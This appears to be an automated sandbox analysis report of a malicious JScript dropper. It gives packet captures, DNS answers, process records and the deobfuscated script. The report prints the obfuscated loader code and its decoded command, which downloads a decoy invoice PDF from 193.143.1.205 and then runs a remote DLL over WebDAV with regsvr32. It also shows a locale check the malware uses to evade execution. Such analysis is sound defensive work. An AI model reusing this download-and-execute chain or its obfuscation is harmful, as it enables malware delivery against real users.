Jan 11, 2025 01:01:13.278060913 CET	49738	80	192.168.2.10	193.143.1.205
Jan 11, 2025 01:01:13.308653116 CET	80	49738	193.143.1.205	192.168.2.10
Jan 11, 2025 01:01:13.308676004 CET	80	49738	193.143.1.205	192.168.2.10
Jan 11, 2025 01:01:13.308722019 CET	49738	80	192.168.2.10	193.143.1.205
Jan 11, 2025 01:01:13.308733940 CET	80	49738	193.143.1.205	192.168.2.10
Jan 11, 2025 01:01:13.308778048 CET	49738	80	192.168.2.10	193.143.1.205
Jan 11, 2025 01:01:13.308810949 CET	80	49738	193.143.1.205	192.168.2.10
Jan 11, 2025 01:01:13.308823109 CET	80	49738	193.143.1.205	192.168.2.10
Jan 11, 2025 01:01:13.308834076 CET	80	49738	193.143.1.205	192.168.2.10
Jan 11, 2025 01:01:13.308845997 CET	80	49738	193.143.1.205	192.168.2.10
Jan 11, 2025 01:01:13.308861017 CET	49738	80	192.168.2.10	193.143.1.205
Jan 11, 2025 01:01:13.308878899 CET	49738	80	192.168.2.10	193.143.1.205
Jan 11, 2025 01:01:13.308904886 CET	80	49738	193.143.1.205	192.168.2.10
Jan 11, 2025 01:01:13.308921099 CET	80	49738	193.143.1.205	192.168.2.10
Jan 11, 2025 01:01:13.308932066 CET	80	49738	193.143.1.205	192.168.2.10
Jan 11, 2025 01:01:13.308943033 CET	80	49738	193.143.1.205	192.168.2.10
Jan 11, 2025 01:01:13.308953047 CET	80	49738	193.143.1.205	192.168.2.10
Jan 11, 2025 01:01:13.308963060 CET	80	49738	193.143.1.205	192.168.2.10
Jan 11, 2025 01:01:13.308974028 CET	80	49738	193.143.1.205	192.168.2.10
Jan 11, 2025 01:01:13.308993101 CET	80	49738	193.143.1.205	192.168.2.10
Jan 11, 2025 01:01:13.309010983 CET	80	49738	193.143.1.205	192.168.2.10
Jan 11, 2025 01:01:13.309015036 CET	49738	80	192.168.2.10	193.143.1.205
Jan 11, 2025 01:01:13.309015036 CET	49738	80	192.168.2.10	193.143.1.205
Jan 11, 2025 01:01:13.309021950 CET	80	49738	193.143.1.205	192.168.2.10
Jan 11, 2025 01:01:13.309032917 CET	80	49738	193.143.1.205	192.168.2.10
Jan 11, 2025 01:01:13.309035063 CET	49738	80	192.168.2.10	193.143.1.205
Jan 11, 2025 01:01:13.309046984 CET	80	49738	193.143.1.205	192.168.2.10
Jan 11, 2025 01:01:13.309060097 CET	49738	80	192.168.2.10	193.143.1.205
Jan 11, 2025 01:01:13.309079885 CET	49738	80	192.168.2.10	193.143.1.205
Jan 11, 2025 01:01:13.514374018 CET	49738	80	192.168.2.10	193.143.1.205
Jan 11, 2025 01:01:14.186463118 CET	49755	8888	192.168.2.10	193.143.1.205
Jan 11, 2025 01:01:14.193006039 CET	8888	49755	193.143.1.205	192.168.2.10
Jan 11, 2025 01:01:14.197117090 CET	49755	8888	192.168.2.10	193.143.1.205
Jan 11, 2025 01:01:14.197304964 CET	49755	8888	192.168.2.10	193.143.1.205
Jan 11, 2025 01:01:14.203604937 CET	8888	49755	193.143.1.205	192.168.2.10
Jan 11, 2025 01:01:14.971369028 CET	8888	49755	193.143.1.205	192.168.2.10
Jan 11, 2025 01:01:15.023789883 CET	49755	8888	192.168.2.10	193.143.1.205
Jan 11, 2025 01:01:15.028305054 CET	49755	8888	192.168.2.10	193.143.1.205
Jan 11, 2025 01:02:40.413659096 CET	52170	53	192.168.2.10	1.1.1.1
Jan 11, 2025 01:02:40.419859886 CET	53	52170	1.1.1.1	192.168.2.10
Jan 11, 2025 01:02:40.419943094 CET	52170	53	192.168.2.10	1.1.1.1
Jan 11, 2025 01:02:40.419986963 CET	52170	53	192.168.2.10	1.1.1.1
Jan 11, 2025 01:02:40.427000046 CET	53	52170	1.1.1.1	192.168.2.10
Jan 11, 2025 01:02:40.874358892 CET	53	52170	1.1.1.1	192.168.2.10
Jan 11, 2025 01:02:40.879751921 CET	52170	53	192.168.2.10	1.1.1.1
Jan 11, 2025 01:02:40.884897947 CET	53	52170	1.1.1.1	192.168.2.10
Jan 11, 2025 01:02:40.884983063 CET	52170	53	192.168.2.10	1.1.1.1

UDP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Jan 11, 2025 01:01:25.816979885 CET	58430	53	192.168.2.10	1.1.1.1
Jan 11, 2025 01:01:39.186738968 CET	53744	53	192.168.2.10	1.1.1.1
Jan 11, 2025 01:02:40.413181067 CET	53	58012	1.1.1.1	192.168.2.10

DNS Queries

Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class	DNS over HTTPS
Jan 11, 2025 01:01:25.816979885 CET	192.168.2.10	1.1.1.1	0xe685	Standard query (0)	x1.i.lencr.org	A (IP address)	IN (0x0001)	false
Jan 11, 2025 01:01:39.186738968 CET	192.168.2.10	1.1.1.1	0x862b	Standard query (0)	x1.i.lencr.org	A (IP address)	IN (0x0001)	false

DNS Answers

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	CName	Address	Type	Class	DNS over HTTPS
Jan 11, 2025 01:01:04.877352953 CET	1.1.1.1	192.168.2.10	0xa87f	No error (0)	shed.dual-low.s-part-0017.t-0009.t-msedge.net	s-part-0017.t-0009.t-msedge.net		CNAME (Canonical name)	IN (0x0001)	false
Jan 11, 2025 01:01:04.877352953 CET	1.1.1.1	192.168.2.10	0xa87f	No error (0)	s-part-0017.t-0009.t-msedge.net		13.107.246.45	A (IP address)	IN (0x0001)	false
Jan 11, 2025 01:01:24.435250044 CET	1.1.1.1	192.168.2.10	0xc9c	No error (0)	bg.microsoft.map.fastly.net		199.232.214.172	A (IP address)	IN (0x0001)	false
Jan 11, 2025 01:01:24.435250044 CET	1.1.1.1	192.168.2.10	0xc9c	No error (0)	bg.microsoft.map.fastly.net		199.232.210.172	A (IP address)	IN (0x0001)	false
Jan 11, 2025 01:01:25.825843096 CET	1.1.1.1	192.168.2.10	0xe685	No error (0)	x1.i.lencr.org	crl.root-x1.letsencrypt.org.edgekey.net		CNAME (Canonical name)	IN (0x0001)	false
Jan 11, 2025 01:01:39.194363117 CET	1.1.1.1	192.168.2.10	0x862b	No error (0)	x1.i.lencr.org	crl.root-x1.letsencrypt.org.edgekey.net		CNAME (Canonical name)	IN (0x0001)	false

HTTP Request Dependency Graph

193.143.1.205

HTTP Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.10	49738	193.143.1.205	80	7956	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Timestamp	Bytes transferred	Direction	Data
Jan 11, 2025 01:01:11.796508074 CET	169	OUT	GET /invoice.php HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.19041.1682 Host: 193.143.1.205 Connection: Keep-Alive
Jan 11, 2025 01:01:12.566905022 CET	1236	IN	HTTP/1.1 200 OK Server: nginx/1.22.1 Date: Sat, 11 Jan 2025 00:01:12 GMT Content-Type: application/pdf Transfer-Encoding: chunked Connection: keep-alive X-Frame-Options: SAMEORIGIN Data Raw: 31 66 36 61 0d 0a 25 50 44 46 2d 31 2e 37 0a 25 bf f7 a2 fe 0a 31 20 30 20 6f 62 6a 0a 3c 3c 20 2f 50 61 67 65 73 20 33 20 30 20 52 20 2f 54 79 70 65 20 2f 43 61 74 61 6c 6f 67 20 3e 3e 0a 65 6e 64 6f 62 6a 0a 32 20 30 20 6f 62 6a 0a 3c 3c 20 2f 54 79 70 65 20 2f 4f 62 6a 53 74 6d 20 2f 4c 65 6e 67 74 68 20 35 36 20 2f 46 69 6c 74 65 72 20 2f 46 6c 61 74 65 44 65 63 6f 64 65 20 2f 4e 20 31 20 2f 46 69 72 73 74 20 34 20 3e 3e 0a 73 74 72 65 61 6d 0a 78 9c 33 56 30 e0 b2 b1 51 d0 77 ce 2f cd 2b 51 30 54 d0 f7 ce 4c 29 56 88 56 30 51 30 50 08 52 88 55 d0 0f a9 2c 48 55 d0 0f 48 4c 4f 2d 56 b0 b3 e3 02 00 25 30 0c 6d 65 6e 64 73 74 72 65 61 6d 0a 65 6e 64 6f 62 6a 0a 34 20 30 20 6f 62 6a 0a 3c 3c 20 2f 43 6f 6e 74 65 6e 74 73 20 35 20 30 20 52 20 2f 47 72 6f 75 70 20 3c 3c 20 2f 43 53 20 2f 44 65 76 69 63 65 52 47 42 20 2f 49 20 74 72 75 65 20 2f 53 20 2f 54 72 61 6e 73 70 61 72 65 6e 63 79 20 2f 54 79 70 65 20 2f 47 72 6f 75 70 20 3e 3e 20 2f 4d 65 64 69 61 42 6f 78 20 5b 20 30 20 30 20 35 39 34 2e 39 [TRUNCATED] Data Ascii: 1f6a%PDF-1.7%1 0 obj<< /Pages 3 0 R /Type /Catalog >>endobj2 0 obj<< /Type /ObjStm /Length 56 /Filter /FlateDecode /N 1 /First 4 >>streamx3V0Qw/+Q0TL)VV0Q0PRU,HUHLO-V%0mendstreamendobj4 0 obj<< /Contents 5 0 R /Group << /CS /DeviceRGB /I true /S /Transparency /Type /Group >> /MediaBox [ 0 0 594.96 840.96 ] /Parent 3 0 R /Resources 6 0 R /StructParents 0 /Type /Page >>endobj5 0 obj<< /Filter /FlateDecode /Length 75 >>streamx3T0B]C aabgiUeE\ E&@yC:lBWB!P9D~K>W &endstreamendobj6 0 obj<< /ExtGState << /a0 << /CA 1 /ca 1 >> >> /XObject << /x7 7 0 R >> >>endobj7 0 obj<< /BBox [ 0 0 595 841 ] /Filter /FlateDecode /Resources 8 0 R /Subtype /Form /Type /XObject /Length 59 >>streamx+T(O/6PH/*244S0B]HOS04TpBendstreamendobj8 0 obj<< /ExtGState << /a0 << /CA 1 /ca 1 >> /gs0 << /BM /Normal /CA 1.0 /SMask /None /ca 1.0 >> >> /XObject << /x11 9 0 R >> >>endobj9 0 obj<< /BitsPerComponen [TRUNCATED]
Jan 11, 2025 01:01:12.566956043 CET	1236	IN	Data Raw: 20 2f 46 6c 61 74 65 44 65 63 6f 64 65 20 2f 48 65 69 67 68 74 20 33 35 30 34 20 2f 49 6e 74 65 72 70 6f 6c 61 74 65 20 74 72 75 65 20 2f 53 75 62 74 79 70 65 20 2f 49 6d 61 67 65 20 2f 54 79 70 65 20 2f 58 4f 62 6a 65 63 74 20 2f 57 69 64 74 68 Data Ascii: /FlateDecode /Height 3504 /Interpolate true /Subtype /Image /Type /XObject /Width 2479 /Length 634286 >>streamxs-oYfQf\|H *Q$oeVUC;"/
Jan 11, 2025 01:01:12.566975117 CET	448	IN	Data Raw: f1 11 51 2c 6d ea db 09 00 00 00 00 00 00 00 00 c0 4e 98 3a da 60 52 a6 84 c6 d3 a0 6d f7 7c cc 3f 4c 18 d5 49 94 1e 3a b5 a9 6f 30 00 00 00 00 00 00 00 00 00 d3 98 ba d2 60 5a c5 81 50 c9 a0 6d ee fc d8 3c 1e 9a c7 c3 f0 f1 d8 3d 54 15 75 49 94 Data Ascii: Q,mN:`Rm\|?LI:o0`ZPm<=TuIlq%t>*5gFIt0"%SgL+WB44i<)HlAS+&}CNjD4C;o?4u
Jan 11, 2025 01:01:12.566987038 CET	1236	IN	Data Raw: ab ce 09 d5 25 b4 1b 08 ed 33 68 0a a0 17 e7 b3 c7 7d fb 9f cd 23 fd cd 4b 49 a2 fd 88 a8 9d 0f 7d fc 34 ef a1 1c 1e ba 13 a6 be 21 01 00 00 ec 0a be 4c 02 00 00 00 00 e0 cb 30 49 70 c1 6e 28 2d c8 1d 2f a1 6d f1 bc 6f 1a e8 d9 fd b9 7b 48 15 6d Data Ascii: %3h}#KI}4!L0Ipn(-/mo{Hmi?"PoH;2l`rPSB]8s~%~w}rS&WJ\|1W{c =*@Og8m\|JtConopN01R
Jan 11, 2025 01:01:12.566998959 CET	1236	IN	Data Raw: 00 00 c0 34 f8 62 09 00 00 00 00 80 2f c9 46 63 0a 76 4f e5 81 a1 77 f3 03 43 af 52 0c 3d 6b 0e 0c 3d 39 be 3d 4e 3b 72 f7 d2 8e dc c1 58 e8 cb e7 e7 2f ff 38 7f f1 47 f3 9f 7d 0f 6d ce 0f 4d c3 a1 7b ef ae 3f a4 4d b9 87 b7 27 b2 29 77 f4 d8 d0 Data Ascii: 4b/FcvOwCR=k=9=N;rX/8G}mM{?M')wl7'i_X>Ma\|h7*roM'7'i_xGG}`<F}cM}?~1=C3`\|
Jan 11, 2025 01:01:12.567012072 CET	1236	IN	Data Raw: 17 4b 00 b0 e3 76 ea df 7f 6b 3e 7e 7d f7 dc 68 1b 5d ef a5 d6 7f cc b5 bc 8e 5b bb aa 25 2e 6f 8d 17 b6 ca 5b 71 c5 67 78 c5 0b ab ff 50 f5 ef b1 a5 5f dc 55 ec e0 ab b9 ae 3f da 54 bf ef d2 17 00 00 eb b5 f6 db 1a 76 54 bc 23 57 c5 d0 87 14 43 Data Ascii: Kvk>~}h][%.o[qgxP_U?TvT#WCCSb]CU}kch:6=CO%t1?6cC21ASKv_pe-%.u-~mVYO?]=8`6zs(?0&51$
Jan 11, 2025 01:01:12.567023993 CET	1236	IN	Data Raw: df 71 fb ff 88 01 f0 15 5a f1 86 8c cf c0 27 13 43 3f 56 c5 d0 ab 3e 86 9e 15 63 e8 db 57 83 e1 50 f3 98 fd fd 37 5d 0c bd 0a 63 e8 49 8a a1 67 f7 12 43 6f 6e 9e e6 c7 86 3e 04 c7 86 12 43 b7 65 ea 9b 13 00 00 c0 34 f8 62 09 00 26 17 de 78 6b 9a Data Ascii: qZ'C?V>cWP7]cIgCon>Ce4b&xkKEK_BXG:a!9KSRDs/rWUK<Z[axj?P/xy5KoeSco1>'f,12Cn1KCumg
Jan 11, 2025 01:01:12.567055941 CET	1236	IN	Data Raw: c3 00 fa 39 2c 4f 25 7b e5 0c 5a 53 69 75 a2 35 55 74 a1 57 d3 bc ac 95 f7 99 47 97 b3 97 68 91 61 12 5d 22 83 16 ee b4 6b 19 7f 9e fa 1f 47 00 be 4c 95 ff a6 8f cf 93 1b 0b fd e4 77 e4 3e 76 3b 72 4d 0c bd bc e8 62 e8 e9 c9 6d 13 43 0f 5d 0c 35 Data Ascii: 9,O%{ZSiu5UtWGha]"kGLw>v;rMbmC]5GR91g}\|~yS0XmIr%&zu6"Oa508J)$*eer\|S\UP6B]=tWS&)wCNkJV
Jan 11, 2025 01:01:12.567070007 CET	1236	IN	Data Raw: c9 e5 e9 2b 94 0b 33 d7 e6 f3 f1 d2 3d b4 be 84 5e b9 93 31 e5 f3 a5 fe 67 06 7c 12 2d 3f 63 e1 d3 95 fb 91 00 2d f7 63 00 e1 13 58 98 8c 0e 7f 18 a0 fc 6a e6 de 6c b9 57 33 bd d3 56 ef a1 fe 26 93 8b f2 85 22 69 ba 76 ee 2e 17 0e f9 e6 d2 76 fd Data Ascii: +3=^1g\|-?c-cXjlW3V&"iv.v6wzo;CKjv>v;r}mM18C=T~M)1'}xzc(Nj4bZs%T@.QO=P2>jPOjR??GVjDS1#N]E<<]ap
Jan 11, 2025 01:01:12.567084074 CET	1236	IN	Data Raw: 38 14 c0 76 ac 90 4a b0 cb dc 58 e8 a7 e1 8e dc 41 0c 75 07 86 a6 18 7a 56 8e a1 7b a5 ee 19 3c f6 a2 18 7a 38 8f a1 e7 67 71 0c bd ef 63 e8 e8 b1 a1 c4 d0 b5 9a fa e6 04 00 00 30 0d be 58 02 80 2d 30 37 d5 fa 05 b9 7e f4 cc 9c f7 f7 ce 91 d3 24 Data Ascii: 8vJXAuzV{<z8gqc0X-07~$3G{hI0 ?ASw$Ut#*G@"y[4QI2US&R=Tg>As%=V_r=]X^[ZX\.YF{)y'p&Z'Q/kV~[W
Jan 11, 2025 01:01:12.571913004 CET	772	IN	Data Raw: 6e ca 1f 18 fa 31 3c 30 f4 ee b1 8d a1 83 03 43 9b 18 7a 72 6b 62 e8 e1 7e d0 3a 0f c6 1e ee 57 ce 63 e8 d1 e1 ed f1 51 77 6c 68 1b 43 87 c7 86 de 76 c7 86 9a 18 ca b1 a1 5b 31 f5 cd 09 00 00 60 1a 7c b1 04 00 1b e5 ef a8 e5 1d b9 7a d8 ad b0 84 Data Ascii: n1<0Czrkb~:WcQwlhCv[1`\|z3<OhNiB$qi,45WqR=4pa/RrKuk{jv%Z\|GVu;=*VzfN5gM6:?SisUJ[ey\59-

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1	192.168.2.10	49755	193.143.1.205	8888	5908	C:\Windows\System32\net.exe

Timestamp	Bytes transferred	Direction	Data
Jan 11, 2025 01:01:14.197304964 CET	107	OUT	OPTIONS / HTTP/1.1 Connection: Keep-Alive User-Agent: DavClnt translate: f Host: 193.143.1.205:8888
Jan 11, 2025 01:01:14.971369028 CET	237	IN	HTTP/1.1 500 Internal Server Error Server: nginx/1.22.1 Date: Sat, 11 Jan 2025 00:01:14 GMT Content-Type: text/plain; charset=utf-8 Content-Length: 22 Connection: keep-alive X-Content-Type-Options: nosniff Data Raw: 49 6e 74 65 72 6e 61 6c 20 73 65 72 76 65 72 20 65 72 72 6f 72 0a Data Ascii: Internal server error

Target ID:	0
Start time:	19:01:06
Start date:	10/01/2025
Path:	C:\Windows\System32\wscript.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\12621132703258916868.js"
Imagebase:	0x7ff731090000
File size:	170'496 bytes
MD5 hash:	A47CBE969EA935BDD3AB568BB126BC80
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	2
Start time:	19:01:07
Start date:	10/01/2025
Path:	C:\Windows\System32\cmd.exe
Wow64 process (32bit):	false
Commandline:	"C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\25060233869241.dll
Imagebase:	0x7ff791310000
File size:	289'792 bytes
MD5 hash:	8A2122E8162DBEF04694B9C3E0B6CDEE
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	3
Start time:	19:01:07
Start date:	10/01/2025
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff620390000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	4
Start time:	19:01:08
Start date:	10/01/2025
Path:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
Wow64 process (32bit):	false
Commandline:	powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"
Imagebase:	0x7ff7b2bb0000
File size:	452'608 bytes
MD5 hash:	04029E121A0CFA5991749937DD22A1D9
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	5
Start time:	19:01:12
Start date:	10/01/2025
Path:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe" "C:\Users\user\AppData\Local\Temp\invoice.pdf"
Imagebase:	0x7ff64eb90000
File size:	5'641'176 bytes
MD5 hash:	24EAD1C46A47022347DC0F05F6EFBB8C
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Show Windows behavior

Target ID:	6
Start time:	19:01:13
Start date:	10/01/2025
Path:	C:\Windows\System32\cmd.exe
Wow64 process (32bit):	false
Commandline:	cmd /c net use \\193.143.1.205@8888\davwwwroot\
Imagebase:	0x7ff791310000
File size:	289'792 bytes
MD5 hash:	8A2122E8162DBEF04694B9C3E0B6CDEE
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	7
Start time:	19:01:13
Start date:	10/01/2025
Path:	C:\Windows\System32\net.exe
Wow64 process (32bit):	false
Commandline:	net use \\193.143.1.205@8888\davwwwroot\
Imagebase:	0x7ff6ef550000
File size:	59'904 bytes
MD5 hash:	0BD94A338EEA5A4E1F2830AE326E6D19
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	8
Start time:	19:01:14
Start date:	10/01/2025
Path:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --backgroundcolor=16777215
Imagebase:	0x7ff63ec50000
File size:	3'581'912 bytes
MD5 hash:	9B38E8E8B6DD9622D24B53E095C5D9BE
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Show Windows behavior

Target ID:	9
Start time:	19:01:15
Start date:	10/01/2025
Path:	C:\Windows\System32\svchost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS
Imagebase:	0x7ff7df220000
File size:	55'320 bytes
MD5 hash:	B7F884C1B74A263F746EE12A5F7C9F6A
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Show Windows behavior

Target ID:	10
Start time:	19:01:15
Start date:	10/01/2025
Path:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --log-severity=disable --user-agent-product="ReaderServices/23.6.20320 Chrome/105.0.0.0" --lang=en-US --log-file="C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\debug.log" --mojo-platform-channel-handle=2160 --field-trial-handle=1528,i,1866597272074241838,1758888872078513617,131072 --disable-features=BackForwardCache,CalculateNativeWinOcclusion,WinUseBrowserSpellChecker /prefetch:8
Imagebase:	0x7ff63ec50000
File size:	3'581'912 bytes
MD5 hash:	9B38E8E8B6DD9622D24B53E095C5D9BE
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Show Windows behavior

JavaScript Code

Call Graph

Executed
Not Executed

Script:

Code
0	function mixxqpsyw() {	mixxqpsyw() ➔ undefined
1	siolrjate = [ 1031, 3079, 5127, 4103, 2055, 3072 ];
2	var rjbjurhz = this[yjalkskwi + uxjydu + gttqrdqep + gztkotabb + indqbtln + izfpw + grogj + lousyek] ( this[hgokvbilw + ynezaeyny + pwhwoojt + gttqrdqep + rqiaogys + yjalkskwi + lousyek][gcgqxxccu + gttqrdqep + indqbtln + uxjydu + lousyek + indqbtln + lasbnunr + hbcerg + qkiew + indqbtln + pwhwoojt + lousyek] ( hgokvbilw + ynezaeyny + pwhwoojt + gttqrdqep + rqiaogys + yjalkskwi + lousyek + afhyrnlsd + ynezaeyny + einso + indqbtln + cgzfudp + cgzfudp ) [rruzjh + indqbtln + thbsodj + rruzjh + indqbtln + uxjydu + vjohmla] ( lrndxufd + gzmxlpx + fyhecch + xzteekbfw + dbuslve + gcgqxxccu + jimtmrl + rruzjh + rruzjh + fyhecch + syvppnkcy + iuegcjy + dbuslve + jimtmrl + ynezaeyny + fyhecch + rruzjh + lqsggevrs + gcgqxxccu + tpxaufb + grogj + lousyek + gttqrdqep + tpxaufb + cgzfudp + lalxq + azmrr + uxjydu + grogj + indqbtln + cgzfudp + lqsggevrs + izfpw + grogj + lousyek + indqbtln + gttqrdqep + grogj + uxjydu + lousyek + rqiaogys + tpxaufb + grogj + uxjydu + cgzfudp + lqsggevrs + xkkiomh + tpxaufb + pwhwoojt + uxjydu + cgzfudp + indqbtln ), 16 );	Windows Script Host.CreateObject("WScript.Shell") ➔ RegRead("HKEY_CURRENT_USER\Control Panel\International\Locale") ➔ "00000C00" parseInt("00000C00",16) ➔ 3072
3	for ( efocyde = 0 ; efocyde < siolrjate[cgzfudp + indqbtln + grogj + thbsodj + lousyek + einso] ; ++ efocyde )
4	{
5	if ( rjbjurhz == siolrjate[efocyde] )
6	{
7	rjbjurhz = true;
8	break ;
9	}
10	}
11	if ( rjbjurhz !== true )
12	this[hgokvbilw + ynezaeyny + pwhwoojt + gttqrdqep + rqiaogys + yjalkskwi + lousyek][fssmkbrqw + gfcpffjpn + rqiaogys + lousyek] ( );
13	this[hgokvbilw + ynezaeyny + pwhwoojt + gttqrdqep + rqiaogys + yjalkskwi + lousyek][gcgqxxccu + gttqrdqep + indqbtln + uxjydu + lousyek + indqbtln + lasbnunr + hbcerg + qkiew + indqbtln + pwhwoojt + lousyek] ( hgokvbilw + ynezaeyny + pwhwoojt + gttqrdqep + rqiaogys + yjalkskwi + lousyek + afhyrnlsd + ynezaeyny + einso + indqbtln + cgzfudp + cgzfudp ) [gttqrdqep + gfcpffjpn + grogj] ( pwhwoojt + jivyj + vjohmla + lalxq + hmaixijbh + pwhwoojt + lalxq + yjalkskwi + tpxaufb + mpbyenyf + indqbtln + gttqrdqep + gztkotabb + einso + indqbtln + cgzfudp + cgzfudp + afhyrnlsd + indqbtln + sbmvjly + indqbtln + lalxq + efcpzneaz + gcgqxxccu + tpxaufb + jivyj + jivyj + uxjydu + grogj + vjohmla + lalxq + xxxkfdkkp + izfpw + grogj + gdiswfqvj + tpxaufb + zdkonvuq + indqbtln + efcpzneaz + hgokvbilw + indqbtln + hbcerg + rruzjh + indqbtln + lgrlu + gfcpffjpn + indqbtln + gztkotabb + lousyek + lalxq + efcpzneaz + lasbnunr + gfcpffjpn + lousyek + cadosgcho + rqiaogys + cgzfudp + indqbtln + lalxq + rltismjf + lousyek + indqbtln + jivyj + yjalkskwi + rltismjf + lqsggevrs + rqiaogys + grogj + gdiswfqvj + tpxaufb + rqiaogys + pwhwoojt + indqbtln + afhyrnlsd + yjalkskwi + vjohmla + frzrmx + lalxq + einso + lousyek + lousyek + yjalkskwi + iwoxvzp + hmaixijbh + hmaixijbh + gdxly + wmraycgr + gcpewbe + afhyrnlsd + gdxly + drmvvwkw + gcpewbe + afhyrnlsd + gdxly + afhyrnlsd + lmprpa + kchtdufs + btceidson + hmaixijbh + rqiaogys + grogj + gdiswfqvj + tpxaufb + rqiaogys + pwhwoojt + indqbtln + afhyrnlsd + yjalkskwi + einso + yjalkskwi + xxxkfdkkp + pflwdrq + pflwdrq + gztkotabb + lousyek + uxjydu + gttqrdqep + lousyek + lalxq + rltismjf + lousyek + indqbtln + jivyj + yjalkskwi + rltismjf + lqsggevrs + rqiaogys + grogj + gdiswfqvj + tpxaufb + rqiaogys + pwhwoojt + indqbtln + afhyrnlsd + yjalkskwi + vjohmla + frzrmx + pflwdrq + pflwdrq + pwhwoojt + jivyj + vjohmla + lalxq + hmaixijbh + pwhwoojt + lalxq + grogj + indqbtln + lousyek + lalxq + gfcpffjpn + gztkotabb + indqbtln + lalxq + lqsggevrs + lqsggevrs + gdxly + wmraycgr + gcpewbe + afhyrnlsd + gdxly + drmvvwkw + gcpewbe + afhyrnlsd + gdxly + afhyrnlsd + lmprpa + kchtdufs + btceidson + ukyxjmxzm + jnbaq + jnbaq + jnbaq + jnbaq + lqsggevrs + vjohmla + uxjydu + gdiswfqvj + mpbyenyf + mpbyenyf + mpbyenyf + gttqrdqep + tpxaufb + tpxaufb + lousyek + lqsggevrs + pflwdrq + pflwdrq + pwhwoojt + jivyj + vjohmla + lalxq + hmaixijbh + pwhwoojt + lalxq + gttqrdqep + indqbtln + thbsodj + gztkotabb + gdiswfqvj + gttqrdqep + gcpewbe + lmprpa + lalxq + hmaixijbh + gztkotabb + lalxq + lqsggevrs + lqsggevrs + gdxly + wmraycgr + gcpewbe + afhyrnlsd + gdxly + drmvvwkw + gcpewbe + afhyrnlsd + gdxly + afhyrnlsd + lmprpa + kchtdufs + btceidson + ukyxjmxzm + jnbaq + jnbaq + jnbaq + jnbaq + lqsggevrs + vjohmla + uxjydu + gdiswfqvj + mpbyenyf + mpbyenyf + mpbyenyf + gttqrdqep + tpxaufb + tpxaufb + lousyek + lqsggevrs + lmprpa + btceidson + kchtdufs + middqlqjk + kchtdufs + lmprpa + gcpewbe + gcpewbe + jnbaq + middqlqjk + wmraycgr + lmprpa + drmvvwkw + gdxly + afhyrnlsd + vjohmla + cgzfudp + cgzfudp, 0, false );	Windows Script Host.CreateObject("WScript.Shell") ➔ run("cmd /c powershell.exe -Command "Invoke-WebRequest -OutFile %temp%\invoice.pdf http://193.143.1.205/invoice.php"&&start %temp%\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\25060233869241.dll",0,false) ➔ 0
14	}
15	cgzfudp = "n";
16	cgzfudp = "C";
17	cgzfudp = "m";
18	cgzfudp = "L";
19	cgzfudp = "w";
20	cgzfudp = "z";
21	cgzfudp = "L";
22	cgzfudp = "J";
23	cgzfudp = "T";
24	cgzfudp = "y";
25	cgzfudp = "G";
26	cgzfudp = "b";
27	cgzfudp = "U";
28	cgzfudp = "U";
29	cgzfudp = "o";
30	cgzfudp = "F";
31	cgzfudp = "z";
32	cgzfudp = "J";
33	cgzfudp = "n";
